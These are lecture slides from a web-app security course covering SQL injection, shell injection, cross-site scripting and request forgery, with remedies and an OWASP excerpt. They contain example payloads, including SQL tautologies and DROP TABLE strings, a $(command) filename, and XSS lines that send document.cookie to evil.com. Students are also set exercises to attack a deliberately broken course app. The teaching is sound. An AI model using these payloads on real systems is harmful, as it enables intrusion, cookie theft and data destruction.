software studio

how to attack web apps

Daniel Jackson & Arvind Satyanaryan
what this nugget’s about

classic attacks on web apps
injection, XSS, CSRF, etc

fundamental ideas
apply beyond the technology

practical details
apply in your projects now
why web apps are hard
full connectivity

what’s good
easy to connect

what’s bad
hard not to connect
talking with text

**what’s good**
no pre-agreed interfaces

**what’s bad**
data & code confused
browser: an app container

what's good
a standard platform

what's bad
apps may interact unexpectedly
stateless protocol

what’s good
reduced server load

what’s bad
harder to program
untrusted client

- what’s good
  - user is in control
  - eg, ad killers

- what’s bad
  - attacker can issue any request
injection
talking to a database

SELECT name FROM users WHERE email = ‘dnj’

what might go wrong
data gets interpreted as code
sample application code

here's our database table:

<table>
<thead>
<tr>
<th>email</th>
<th>name</th>
<th>password</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:alice@uni.edu">alice@uni.edu</a></td>
<td>Alice</td>
<td>6f8c114b</td>
</tr>
<tr>
<td><a href="mailto:bob@foo.com">bob@foo.com</a></td>
<td>Bob</td>
<td>gt43e789</td>
</tr>
<tr>
<td><a href="mailto:carol@x.org">carol@x.org</a></td>
<td>Carol</td>
<td>1k8h77f3</td>
</tr>
</tbody>
</table>

here's the code running in the web app:

```java
ea = request.email;  alice@uni.edu

rows = execute("SELECT name FROM users WHERE email = " + ea + ";")
    SELECT name FROM users WHERE email = 'alice@uni.edu'

name = toString(rows);
return 'Welcome back' + name;
    Welcome back, Alice
```
an injection attack

here’s our database table:

<table>
<thead>
<tr>
<th>email</th>
<th>name</th>
<th>password</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:alice@uni.edu">alice@uni.edu</a></td>
<td>Alice</td>
<td>6f8c114b</td>
</tr>
<tr>
<td><a href="mailto:bob@foo.com">bob@foo.com</a></td>
<td>Bob</td>
<td>gt43e789</td>
</tr>
<tr>
<td><a href="mailto:carol@x.org">carol@x.org</a></td>
<td>Carol</td>
<td>1k8h77f3</td>
</tr>
</tbody>
</table>

here’s the code running in the web app:

```java
ea = request.email; a' OR ''='' rows = execute("SELECT name FROM users WHERE email = "' + ea + "'';") name = toString(rows); return 'Welcome back' + name; Welcome back, Alice, Bob, Carol
```

other SQL features to exploit:

```
SELECT name FROM users ... UNION SELECT name, password from users
SELECT name FROM users ... ; DROP TABLE users;
SELECT name FROM users ... ; INSERT INTO admin VALUES ('me', 'password');
```
revenge on traffic cameras?

HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR - DID HE BREAK SOMETHING? IN A WAY-

DID YOU REALLY NAME YOUR SON Robert); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.

from http://xkcd.com/327/
a real Bobby Tables

Company number 10542519

a company registered in the UK on 29 December 2016
secure voting site?

Hacker infiltration ends D.C. online voting trial

Last week, the D.C. Board of Elections and Ethics opened a new Internet-based voting system for a weeklong test period, inviting computer experts from all corners to prod its vulnerabilities in the spirit of "give it your best shot." Well, the hackers gave it their best shot - and midday Friday, the trial period was suspended, with the board citing "usability issues brought to our attention."

Here's one of those issues: After casting a vote, according to test observers, the Web site played "Hail to The Victors" -- the University of Michigan fight song.

Washington Post, Oct 4, 2010
uploading completed PDF ballot
shell injection vulnerability

uploaded ballot encrypted and saved like this:

```
run ("gpg" + "filename")
```

so attacker uploaded file with name

```
myfile.\$(command)
```

see Wolchok et al. Attacking the Washington, D.C. Internet Voting System

even got control of camera!

see Wolchok et al. Attacking the Washington, D.C. Internet Voting System
exercise: injection
URL shortener, again

broken version: https://github.mit.edu/6170-fa18/corrupt-url-shortener
exercise: injection

study the model methods in /models/Shorts.js

is access control consistently enforced?
review the code of each method

find an injection attack
can a user delete another user’s shorts?

execute the attack
to make sure it works

note: stacked queries off by default in MySQL

www.yellkey.com/degree

degree

note: stacked queries off by default in MySQL
cross-site scripting
talking to a browser

<html>Welcome to my home page!</html>

what might go wrong
data gets interpreted as code
here’s some code running in a web app:

```python
def lookup(query):
    # lookup function implementation...

query = request.q
data = lookup(query)
if (!data):
    return '<i>' + query + '</i> not found'
```

**the normal case**

request: `http://findy.org?q=Alice`
result: `<i>Alice</i> not found`
displays: `Alice` not found

**an attack**

result: `<i></i> <script>http://evil.com?document.cookie</script> not found`
a cross-site scripting attack

```
<script>
    http://friendy.com/post
    {content = "<script>http://evil.com?document.cookie</script>"}
</script>
```

“persistent” or “stored” XSS
December 2015: ebay XSS attack produces fake login screen
exercise: XSS
exercise: XSS

study the code that does the redirection
/routes/index.js

can you devise an XSS attack?
a short URL that will cause alert() to be executed

hint: you’ll need to encode the parameter
https://meyerweb.com/eric/tools/dencoder/

execute the attack
to make sure it works
what happens

This page isn’t working
Chrome detected unusual code on this page and blocked it to protect your personal information (for example, passwords, phone numbers, and credit cards).

Try visiting the site's homepage.
ERR_BLOCKED_BY_XSS_AUDITOR

without XSS protection

Short URL %3Cscript%3Ealert%28%22hello%!21%22%29%3C/script%3E not found.

with XSS protection
request forgery
talking to an app

what might go wrong
client executes commands out of order
client modifies the content
commands come from other location
replay attack

/new, /create: a common RESTful idiom

http://coupon.com/redeem/new
{coupon_code = 123}

http://coupon.com/redeem/create
{name = Alice, address = 1 Main St}

http://coupon.com/redeem/create
{name = Alice, address = 1 Main St}

server-side checks here

no further check here
man in the middle attack

http://bank.com/login
{name = Bob, password = gt43e789}
Direct object reference attack

http://bank.com/login

http://bank.com/move/new

Welcome!

http://bank.com/move/create

{amount: 100, from: 12345}

http://bank.com/move/create

{amount: 100, from: 12468}

Server-side checks here

No further check here
request forgery attack

http://bank.com/login

Welcome!

http://bank.com/transfer/new

client is ready to request transfer

http://bank.com/transfer/create
{amount: 100, to: 12345}

http://bank.com/transfer/create
{amount: 100, to: 99999}

public machine, session still open
cross-site request forgery attack

http://friendy.com/readpost
<script>
http://bank.com/transfer/create {amount: 100, to: 99999}
</script>

http://friendy.com/post
{content = "<script>http://bank.com/transfer/create {amount: 100, to: 99999}<!--script-->"}

combined with XSS attack

http://bank.com/transfer/create {amount: 100, to: 99999}
remedies
snooping and modification

- encrypt link with TLS
  prevents snooping & modification
- don’t store secrets on the client
  use express sessions, eg: just store session ID
    if you must, encrypt the cookie

TLS defeats snooping & request modification

```javascript
const express = require('express');
const cookieParser = require('cookie-parser');
const cookieEncrypter = require('./cook');
const app = express();
const secretKey = 'foobaz12345';
```

Encrypted cookies prevent client tampering
XSS & injection

remove code from inputs & outputs
with sanitization, escaping, etc

```html
<!DOCTYPE html>
<html>
<body>
{{user}} says {{message}}
</body>
</html>
```

automatic sanitization
with template defeats XSS

db.query('DELETE FROM accounts WHERE name=?', name)

prepared statements defeat injection
CSRF

form tokens
get form: includes hidden token
post form: includes token
backend checks token match

```javascript
var cookieParser = require('cookie-parser')
var csrf = require('csurf')
var bodyParser = require('body-parser')
var express = require('express')

// setup route middlewares
var csrfProtection = csrf({ cookie: true })
var parseForm = bodyParser.urlencoded({ extended: false })

// create express app
var app = express()

// parse cookies
// we need this because "cookie" is true in csrfProtection
app.use(cookieParser())

app.get('/form', csrfProtection, function(req, res) {
    // pass the csrfToken to the view
    res.render('send', { csrfToken: req.csrfToken() })
})

app.post('/process', parseForm, csrfProtection, function(req, res) {
    res.send('data is being processed')
})
```
csurf middleware for node/express
limit power of sessions

keep ‘em short
automatic logout, warn about public machines

authenticate carefully
use two-factor for critical sites
beware of email account resets

consider multi-level sessions
one for basic requests with session token
one for critical requests, with password again
can use CAPTCHA too
watch the flow

never rely on context
assume all requests can be out-of-order
can be replayed, and modified

instead, in the server
check every request in full

beware request params at client
avoid, or store in encrypted cookie

amount
from
- 12345
- 12346
the same origin policy

what is the Same Origin Policy?
a browser mechanism that isolates pages from different origins
origin is <protocol, host, port>

what does the SOP prevent?
one web page reading or writing the DOM of another
a page receiving data from a website with a different origin

why not prevent sending data to another website?
because that would rule out links!

how do you design round SOP?
get a script instead of data (see JSONP)
use CORS (cross origin resource sharing)

so what’s the point?
isolating pages is essential: can’t allow one page to modify DOM of another
preventing cross-origin GET requests allows CSRF mitigations to work
the workarounds (JSONP, CORS) require server-side coding, so don’t open attacks

horribly subtle: adding this in case you want to know it
OWASP top ten

- A1:2017-Injection
- A2:2017-Broken Authentication
- A3:2017-Sensitive Data Exposure
- A4:2017-XML External Entities (XXE)
- A5:2017-Broken Access Control
- A6:2017-Security Misconfiguration
- A7:2017-Cross-Site Scripting (XSS)
- A8:2017-Insecure Deserialization
- A9:2017-Using Components withKnown Vulnerabilities
- A10:2017-Insufficient Logging\&Monitoring

https://www.owasp.org
Is the Application Vulnerable?

An application is vulnerable to attack when:

- User-supplied data is not validated, filtered, or sanitized by the application.
- Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
- Hostile data is used with object-relational mapping (ORM) search parameters to extract additional, sensitive records.
- Hostile data is directly used or concatenated, such that the SQL or command contains both structure and hostile data in dynamic queries, commands, or stored procedures.
- Some of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Source code review is the best method of detecting if applications are vulnerable to injections, closely followed by thorough automated testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. Organizations can include static source (NAST) and dynamic application testing (DAST) tools into the CI/CD pipeline to identify newly introduced injection flaws prior to production deployment.

How to Prevent

Preventing injection requires keeping data separate from commands and queries.

- The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs).
- Note: Even when parameterized, stored procedures can still introduce SQL injection if PU/SQ or T-SQL concatenates queries and data, or executes hostile data with EXECUTE IMMEDIATE or exec.
- Use positive or "whitelist" server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
- For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter.
- Note: SQL structure such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.
- Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.

Example Attack Scenarios

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:

```
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "';
```

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):

```
Query.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
```

In both cases, the attacker modifies the 'id' parameter value in their browser to send: ' or '1'=1. For example:

```
http://example.com/app/accountView?id=' or '1'=1
```

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

References

OWASP
- OWASP Proactive Controls: Parameterize Queries
- OWASP ASVS: V6 Input Validation and Encoding
- OWASP Testing Guide: SQL Injection, Command Injection, ORM injection
- OWASP Cheat Sheet: Injection Prevention
- OWASP Cheat Sheet: SQL Injection Prevention
- OWASP Cheat Sheet: Injection Prevention in Java
- OWASP Cheat Sheet: Query Parameterization
- OWASP Automated Threats to Web Applications – OAT-014

External
- CWE-77: Command Injection
- CWE-89: SQL Injection
- CWE-564: Hibernate Injection
- CWE-917: Expression Language Injection
- PortSwigger: Server-side template injection

sample OWASP “cheatsheet” for injection
CWE-2018-3997 Detail

RECEIVED

This vulnerability has been received by the NVD and has not been analyzed.

Description

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Source: MITRE
Description Last Modified: 10/08/2018

https://nvd.nist.gov
can search by product, browse, etc
eexample of a report from this week